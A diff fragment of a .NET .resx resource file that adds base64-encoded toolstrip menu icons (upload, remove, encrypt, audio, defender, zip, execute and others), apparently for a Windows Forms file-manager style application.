+PKHqfSg8oep9KDyh6n0oPKHqfTb5xfQDV6r3GcNOwyNWk344UX2j0fi7dN0nRRth4OyCqkEAAAAA
+SUVORK5CYIIL</value></data><data name="uploadToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAxQEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABZ0lEQVRoQ+2VvUrEQBRGx59SxNpCsPAJbCxsfAgrGytfI1rdiVssurkRX2ErC7HwKQQF
+X0AQBEtRLIyT5bpczOeuUUlucA4cQn7mcoph4iKRyBfkvjBlbdCQNq0NGtKmtUFD2jTyLymKmZGd
+JfcHjmlf7jpGTtsh/m3kSbojTztCTuuO/dP4BGH/HK4b8tY4g3Q5BN+N48fSvTv1K/KVUbJkIcRf
+VeM/pBt3lCzK18ZIktkQeVaN/iTThRsO52SVIXLqwWAk+0NZZYSMdmHoRGlPVrdM5jdDzAuOnCDT
+q+N0S6a0xHFvNcQ8VOK+K9Nj+EesybSGKU8T9tcwrI7sb12/vyRTG6I8RXJ/Xon5qUyX4RSbl+kN
+wD6DIb+xnGkCFKc1D4rWmgdFa82DorXmQdFa86BorXlQtNY8KFobiUwBbRuteVC01jwoWmseFK2N
+RKaAto3WPChaax4UrTUPitZGIpE/xLl36LGL2KdhBfkAAAAASUVORK5CYIIL</value></data><data name="removeToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA6gMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAADjElEQVRoQ+2VO1NTURRGgwQVECHyDAqISkBHK8BCG7GSsQAbrbTSShttnIASUBAIIE+R
+ACKghf4BLcERf4A2iCGEkDevEMSKGbfn3LPlhnCRJPfcFE7WzBq6fCubm0QVI0aM0Cmb8heXTfq/
+ln/ygxLS16YbOMcfMjIRPKqAEzjHl/OTvgqJMUUsnfBdwll+lE+uTUqNKSS//8I1N1ytdoGDCNG0
+ygV28rcSMyIHX0hyJAouYEbkSLxoVMUMeZx5u6Enwuk3PwVLxqnrUDzG1I36BYte++HUyJrgyVdU
+H5wYZhYOrQoeH6SuQIGJmT+wLJj3kroEx/qZR1949TgvHxJ8LzhcN8rCaTTf8EXB3F7vXZyXT8n4
+xi3x2gqH91G9kNPnvYnz8tGNr1dHI1zb6xXM6fFCVrenCufloxvxXVYinF17e3hOjweyu6nuCpyX
+T/HwWpmccDE6lHAPZHW5IaPbVYrz8ikc8+vCCWfXjiycmtlJ3kCXvQjn5ZNvWtRKhYvR/MIzO12Q
+8dwFmUZvDs7LJ3vcnSxeW9lwanqHE7QmZxLO86FgcGUzGuFH2qmOTZzlR4FpeZVGi+EsmoVv/w4X
+wz17hqd3BIY7QdPmAI3RsYKz/MgbWJqPLHz3awdcnIUT04x2qhVn+ZHXv/QtlPBQHpN/hENqqx0O
+t9i+4iw/SPgXqfBwnu+9wlNbF0i84BTO8iO3d/FjpB/MMMIhpdkGh57ZPuAsP7Q9nvdKh2M8JDXN
+v8NZfpDwId7hKc1bFxdMbpoXTGy0DuIsP7K73B1yw8VrS4cnNVKtkPh0rh1n+UGC60MNTzOycHbt
+cMKZB5/MGXCWHxmdrgfB4Swaf3z4hAvur7fcx1l+ZHQ470j+anIMP9BAtUCCwXIbZ/mhaXfcCHxM
+WHjgB1N+OLm8YILBfB1n+aFps1dKh7NoFm4LCGfRLNwaEM6iWXhgNHUW1HWzEG8wX8FZfmiMzoty
+wne/9uxWuLrODPGPzaCuNV/AWX5oWhbOhRO+92OyM5y679EPUOlnz+IsP9La5gqkwsVo+eHUuFry
+Bh5a8nGWH6nNNo14bWXC42pnQFVDNFjTcJYjBlArHi74/bfKMKHGVb4kN1l/KRe+5QbO8Sexcc4t
+J5xFk2d8Z7SofsaFc/wh3+FToYSL0WGE/1U/8xnn+JPYYCkn0dPB4ezaMsOZ06qa6TKcixEjxv+P
+SvUHcjIlcbhSyrsAAAAASUVORK5CYIIL</value></data><data name="encryptToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAAC7klEQVRoQ+2Yz2sTQRTHpwdPelD/AQsW1LMWWhJDSAhpGm3/BYXqUetBrH9D0nhQBMGj
+ePBQmx8Ha2uiJrv1ULDYzCZ6EuvBi6d6aqHjzPqE7OY97Gx24xzygQ/d7rz35pvdTQJhYbLa6pwr
+W869su1slG3ekce/XNWxOifXVA2Um4MMdaliO2+k4mhyq2x3Y9D+/3iytXWsYjmPyxY/xIPSqh55
+Zx6pGTBuuLyy26dliAYWTk9erzU/nYKxw0FdNSq8vKpr8u+CetbXtrePKytW93y15dyoWPy1v/6P
+vD7UO6EeGyREt9ril6GEZNXiCfniP/f1W/whlERLxdqZ9D/z8v+3LxsfT0LJP1GPjOx755txWPvQ
+uQgl0aFud+/G6srrhP+LehHyY/WLZ5blrMNyNNQ2dy54NpRWNztJWNZGPU7+eZF+T6gvIs+G8k0J
+S4FRX3CemTa/C0vh07+ZswBLgSlbnZuemSFcFBL/p0cYt1t9xPbOVO8pWAofucFe72YvGu0TsBQY
+NaN3pnQPlsLHt5GA0wMT1dw+otooqrl9PF3ZEL3C6YEJde6Bw/L7bfZ9nzNhmLsHnOUgJo0q9DWa
+5DeISYM0GSXEpMGaTBJi0mBNJgkxabAmk4SYNFiTSUJMmp91JkwWYtJgTSYJMWmwJpOEmDRYk64/
+1sdEaWlcXJmZFFelpaUz7jmsVleISYM16frg/riIx+Me1TmsVleISYM16TqfnxKJRMLj3OwUWqsr
+xKTBmnSdm42JZDLpcT4fQ2t1hZg0u8+ZGNTC4oRIpVIei4tn0VpdISYN1qTr12djYvnOhEin064l
+eazOYbW6QkwarCmomUzGFVsLKsSkwZqCms1mXbG1oEJMGqwpqLlczhVbCyrEpMGagnrr2rS4fX0a
+XQsqxKTBmkwSYtK0ikyYLMSkwZpMEmLSYE0mCTFpsCaThJg0WJNJQkyaZpHtYo1GWDjCD1vNAssZ
++SJk+PfLbAZijhgxwoWx37uuj+FIXhJZAAAAAElFTkSuQmCCCw==</value></data><data name="backToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAWQEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAAA+0lEQVRoQ+2ZvQnCYBRFH2gRC3tTuoU/EziAM1gkO7iLleIaDpHKQjew16dfyIUgn/kB
+IffBO3AJJM05kEBIxHEcpzdb0VE+0104VqfsUMqnevhMs5ke96Lj6hI/dXnMTERMHqOPaJLHaCO6
+yGN0EX3kq51oAlx+KFx+KFx+KBZym2ym92uWvmKisXHJL5PiMZeLrpJCO0RwymMtEdzyLRE25LGv
+CFvyWIjI0+eZRj4QAtaWAwJdImhvIdAUQf8Qg1jED3mMO6JFHuOMMPsqAUy/zAGPYMEjWPAIFvpE
+mP4+avoLNb08iEWYkQf1CHPyoIyw+pPPcZx/IvIGE8vvOiBTHEIAAAAASUVORK5CYIIL</value></data><data name="audioToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="excuteToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="defenderToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAoAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAADQklEQVRoQ+2X30tTYRjHx+bYJJ2Fd/oPdCGEm0JURF1I3eRx/abAywoCt4zQm5C2AiMi
+6Jx+DLqqiyAo+wNik1LnwqiLkVtQF0YkZG5RKEW6nskT6PjO95zHo/NiH/jcyPF9P+857/kxR5Uq
+VWxkoOBsTeQPBuK5R/5EPk3+8EYzRdOeSPah58rkgeIxfPTmIpCY3eOP598GEvnCcr3R7Ao9kcwb
+b3RyF/9b5dk5NlVLZ3qQzvpCaTxawJKRzCJdlZhjIF3Hw1SG1uHZQ3TWP6Hw/8IFsJ5o5rM3ku3m
+4TaGwETB3RrPn/AncqMouFQUXirdH6/oqhx3xCbcPM3aKW6NHS9mmtsS31sCw7n9tEV6aas8p/AZ
+FFpOFFxOTzT7jRyi7dXriU7uc19731J7NdvsuDlVy1nmoMgpFCMRhUosbjfOU4NCpKIYqZynBoVI
+RSFSOU8NCpGKQqRynhoUIhWFSOU8NShEKgqRynlqUIhUFCKV89SgEKkoRCrnqUEhUlGIVM5Tg0Kk
+ohCpnKfGH8/NoxiJKERkJDPHeWpoAV9RjEQYI5C+kb5wnhr6FkqhGIkoRiJ9C41xnhqaOFYaIhXF
+iIxk7nOeGueF1ClXeLxghw1dhi36gvpJzjNB30SDK5T8jYKsimIsq+l/GrRbW7nOHM5wcggFWRUG
+WdSn6U85yzw1odReFGRVFGTVusO3d3OWNZyh8REUZUUUZEVfl/GSc6zjDo/56V5YQGFmRVGm1YwF
+X/BOO+fIcIXGYyjMrDDMrJpxjzPWwMV3WyjkQ2mYWWGYGTX9Y2Png3quWBs1Pa/b6UrMo0CVME6h
+TzPmfJ16G09vD3RDd6NAlShwdfVFX9A4zdPaC70bLqPI1cSR5aWnTj9Ptz7QU+kGCi0niiwnxV/n
+adYXZyjZh2KRKLSMgzz8xuAMp86ZeUeA0JVq+l+6ac/ysBsLBR6lRfwqjV4ujGbpG+cnLeAID1ch
+eke305ZKo/iiKHxJzchuC95t4VEqzKWRelc4+cT0AjTjsW0vKTtxhVLHaCEz5RZAT5kcPefP8OGb
+lPMjTbSlnpUuoPhN39ipN/FRmx9XT7KDFjBN4dP0c7CD/1ylShVbcTj+AQQphuhe5n6PAAAAAElF
+TkSuQmCCCw==</value></data><data name="zipToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAZwMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAADCUlEQVRoQ+2YW0tUURiG15V2bSfpD4QQERYmHmaaGWfGUSJCokzMglJ/gFeVEBE5nYxI
+hYq0tAN0E0p3gULpjJrpNi3togvLlKDLyg7Dflt7/LTdfGsScloa7AceNmu+1z3vp3vfKBwcHBwc
+UsZshyiVTkvxN860C1NeX890iCq6pV6mWsW7t60CqXDqpjhFt9XHm+sCKfWaCNOt9TDZLJBqJ5pF
+4/gNkUFf8W8ZuyKQaj882g5M1ACTtUk1mjPx5LRANLxGOV/wu3Eo9vFxYT3V5QxfEkils11W+eol
+NVpsCyjmdr+NVMSoLmcgLJAqpx9mA6+O/tFIOD1e3PoLqObJpLqc3jMCy7X/fDred+bILzqypFFa
+YLRlo3KeTKrL+TFyAHhZpV2jaQM9QunKeaJUl4PxSqyERrNtAcU8UarLwXiFDOgzEk6jd2C9cp5M
+qsvBWDl0uvgOWAso5smkuhyM7ZcB/RpN6+gRSlPOE6W6HLzYh5XwtwUU80SpLgejZdDp4jsgF1DN
+k0l1ORjdKwP6tH7j8+/AWuU8mVSXA2MPVkLjasb8I9QgHyHFPFGqy8HIbqyERpNtAcU8UarLwUip
+DKx+qS7HHA5Bl18HQ6g9XIKSkl9aZ+tzVd4u1eWYw0EZ0ONEVzFCoRBzolOdt0t1OeZzP3TZ3RpA
+MBhk9rQFlHm7VJdjDvmgy7sXihAIBJj3LhYp83apLscc8siAHhuP++D3+5mXT1gLqH9mQarLMZ+5
+ocu6Gi98Ph+zrtqrzNuluhxzsAC6PFjmgdfrxZ1zbnzpLYhfrbP1uSpvl+pyzME8GdBjcWAXPB4P
+Pj+dP3+SV+scCloL8LxdqssxB3Khy+qKQrjdbrQ35MslcnH7bH78XFvpUubtUl2O2Z8DXfa15cLl
+cjEjt2RJRd4u1eWY/TtkQJ99bTtxrDwPfm9+/NrXZhVUZ+1SXY4Zzcb/INXlmNFtMrD6pbqcuZ6s
+mBnZitXsXHdW8n8tztzfVD/XvTlm9m3BatTqNv0g8yTVdXBwcHBYLkL8BGEnRsQmP/bJAAAAAElF
+TkSuQmCCCw==</value></data><data name="cutToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAARwQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAAD6UlEQVRoQ+2ZSUwTURjHG5lpMDEaD26J+8WNpYGCS2IwmBgrKnrwahAsBjwaD27x7ElP
+nlwgxEQq7cxUFASNxsR4MHrBLWpEoRawLS0IyBL4fG/6URj6Eafw5qL9Jf80ffOa3/e9ZThgS5Mm
+zT/K0S4oORKEAAuITGkQOtmnCzXWgSKyCAHpQI11EFKhQY11UFKRQY11UFKRQY11UFKRQY11UFKR
+QY11UFKRQY11UFKRQU0SmWXKGqlCbZArlH7phI9HsZerm/CxeSipyKDGQGaVskZ2axH5pApyhQpS
+uQLSCR5fr401htPMQUmpuD6Nwa4nfVBwPwJOLQI7H0Wh+NUgHPo+Ts6fDGoMSJVs5d0asAYeLDzp
+XW1jkcqUh/EmFA9OMwclpbLn5QDkK+GkFPgjsK9tmPwND2oMyJVaP29AL34SfqTiu9CHI+agpLNl
+75vf4FSTm+DZ/bwfDndMJP0GNQZkt9o7awNlSgxHzDFT+Lcc+DwGO5qiZBOFD3rB9XHUMB81BiS3
+qupHqEJ9yC8zFt+EDdTjNHNMl5lNaecEFL2gjxQPf1YaiO8GauIc82RIp/zVstsfZcUPJ19iJczv
+A842x8ziUsm+thH9DlBNbG+OQsmXsUQDUlXjLnuV/439lB/wAvOCR9mKj0rlvgF95VMtnkMVlkoO
+to/DztYY2YRTC0PO3cA1++nGWnu1f4I1AFMNKH0Z5epV+biWg6XMDaqolPMD9FfqbBd8S007LDrT
+ApMNSG6t1lbpWYIlzI/cc+8h+/w7yLrwFrZebEsUleo4z/4Po/pFnl785pqvkOf7CQ5PNyw++xjk
+Sv8VVItBZAM8/A/bjpbJt1QIFp1thW11Hfr3rDuB2Lrb7ZmoFgPffkNmFDTXFL8eSuyCIb7QraKn
+IKF+/lByUeFvIce9nm9EE835/t61WML8oMQiU8SODCv6Up4SHjI2ER5mn9cd3p5cLGVuUFKRQY0t
+V4muZ0Ur05oYYd/b442FYiz1hVp0A043DyUVGdQkcPoiLlZ0G2tgcFozevJ84e4cb9dynGoOSioy
+qDHAVrspXnCoocDTs5LvDiv+qT6mhG7iNHNQUpFBzRSXYUH8/IfGsxtjS3HU5lDDW/Wd8IUCOGQO
+SioyqElwzAMZbOXHZmuA7UAnDpmDkooMagywHXisr7YS8uZ7f67il5fdi2d4rG7gNHNQUpFBjQH+
+6mRnvj/ehCFBhye4DKeZg5KKDGqScDZ0b2SrrrKif7FzH2Wfddu17hX42DyUVGRQYx2UVGRQYx2U
+VGRQYx2UVGRQYx2UVGRQYx3/wr+YXBY10XE0CPtRkyZNmv8bm+0P/fq2Sn+pXRwAAAAASUVORK5C
+YIIL</value></data><data name="executeToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAACgYAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAAFrElEQVRoQ+3YSUwbVxgH8LHBy9jsS7OYU089pJdKVaW2UtsTvfSYNEBYQoIhkLRgoJF6
+yTWq1HPVtJdCQgMpmKRNCTsJYDY7dhNIAl0uVdVDc2irqKipZr5+8+ab8Yw99owdBzjwSf8Lsse/
+9/Tem+/B7dd+7VcO6wLYuZ7Iu7bucD9m3R5Y+0vY9P0Nm7512Kzqgx+rqgE4O316j1Ug/CaioxhA
+OGYV7F0rAFtVcjal+AAe+SLw8PDr9K09UF0h3tYTvmgLrAlauL1rGfI6l7RwQLicjUMi5nNYryyg
+p+xSdUfeswXCv9i7k+F5H4Ywi3r4g0MSXs76QYD7B36F+5UN9LQdKn/YwfVG3selspgOnvfBAmY+
+BZzhAe5hfnhByjxEK45BmHPQr+SgcGlwXVEf1x07wvVG38HNGUD0KM74Y0N4px6ef+4O5J+9HcdL
+cHnWZfg9BgeIYaKVcu6W/wGRiiBESgOwVv42rJYegVCZD0JVPKks1vnYIvdRDGy9UcxdsPVEgG1O
+BR6Q4fY08Pyzc5DfMZseHlPgFXIi5QBhKWUAa5hVzEopi7BcPE8688oafi4Od3TMgKN9WgPHmMIx
+CnxVhovLJXKWioF45mXrkfBhxGcPd5yZwkzmBC6G5BDPvBLPcntn8gZNhOcr8HYZ7mibAGfbeAo4
+xhSOIbi4WATiQpH1ASRtUB1cs847aNbbNbPeNolwxLeOg9M/JsOjGrgy6xnAxYVCEOcLMxiAATxP
+C1eWSyp46y2Gd7V8bwxneBmu4iW4slwS4OIdKQXWB5B4lmcKdyLc1XITXKe/yxzO8ARn+AIQb0vx
